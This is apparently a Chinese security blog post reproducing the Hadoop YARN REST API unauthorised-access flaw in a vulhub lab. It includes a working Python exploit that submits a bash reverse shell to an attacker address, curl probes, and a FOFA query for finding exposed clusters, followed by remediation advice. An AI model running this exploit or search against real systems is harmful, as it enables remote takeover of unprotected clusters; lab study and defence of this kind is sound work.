Hadoop Yarn REST API未授权漏洞

一、Hadoop Yarn REST API未授权漏洞

Hadoop是一个由Apache基金会所开发的分布式系统基础架构。

YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题。

通过访问 NameNode WebUI 管理界面的 50070 端口,可以下载任意文件。

而且,如果 DataNode 的默认端口 50075 开放,攻击者可以通过 HDSF 提供的 restful API 对 HDFS 存储的数据进行操作。

利用方法和原理中有一些不同。在没有 hadoop client 的情况下,直接通过 REST API 也可以提交任务执行。

利用过程如下:(exp脚本通过此利用过程来实现)

  • 在本地监听等待反弹 shell 连接
  • 调用 New Application API 创建 Application
  • 调用 Submit Application API 提交

二、漏洞复现

搭建环境

用vulhub安装,

service docker start
cd /root/vulhub/hadoop/unauthorized-yarn
docker-compose build && docker-compose up -d

访问 http://192.168.0.101:8088/cluster

由于未授权访问,可看到Hadoop YARN ResourceManager WebUI页面。

同样的也可以调用api来访问。

漏洞验证

curl -v -X POST 'http://192.168.0.101:8088/ws/v1/cluster/apps/new-application'

ps:curl -X 指定 HTTP 请求的方法,curl -v 输出通信的整个过程

返回application-id的值application_1613898445717_0004,漏洞可能存在。

kali为攻击机,IP为192.168.0.105,通过vulhub的脚本反弹shell。

#!/usr/bin/env python

import requests

target = 'http://192.168.0.101:8088/'
lhost = '192.168.0.105' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

该exp,共发起两次请求,

第一次申请新的application的id,

第二次通过得到的id,post我们的payload完成命令反弹shell。

shell反弹成功后,Applications 模块下会增加一个名称为 get-shell 的任务。

指纹识别

利用curl发送如下格式的post请求包,如果返回application-id可能存在漏洞:
curl -X POST 'http://192.168.0.101:8088/ws/v1/cluster/apps/new-application'

FOFA语法

title="All Applications"

修复建议

  1. 关闭Hadoop Web管理页面
  2. 开启身份验证,防止未经授权用户访问
  3. 设置安全组访问控制策略,只有信任IP能访问开放的端口
posted @ 2021-02-21 21:01  rab3it  阅读(3221)  评论(0)    收藏  举报